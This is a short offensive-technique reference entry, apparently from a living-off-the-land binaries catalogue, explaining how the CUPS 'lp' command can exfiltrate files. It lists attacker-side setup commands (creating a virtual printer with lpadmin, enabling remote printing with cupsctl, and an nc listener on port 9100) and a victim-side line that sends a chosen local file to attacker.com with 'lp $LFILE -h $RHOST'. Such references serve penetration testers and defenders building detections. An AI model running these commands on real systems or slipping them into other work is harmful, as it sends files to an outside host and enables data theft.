It can exfiltrate files on the network.
To collect the file run the following on the attacker box (this requires cups
to be installed):
lpadmin -p printer -v socket://localhost -E
to create a virtual printer;lpadmin -d printer
to set the new printer as default;cupsctl --remote-any
to enable printing from the Internet;nc -lkp 9100
to receive the file.Send a local file to a CUPS server.
LFILE=file_to_send
RHOST=attacker.com
lp $LFILE -h $RHOST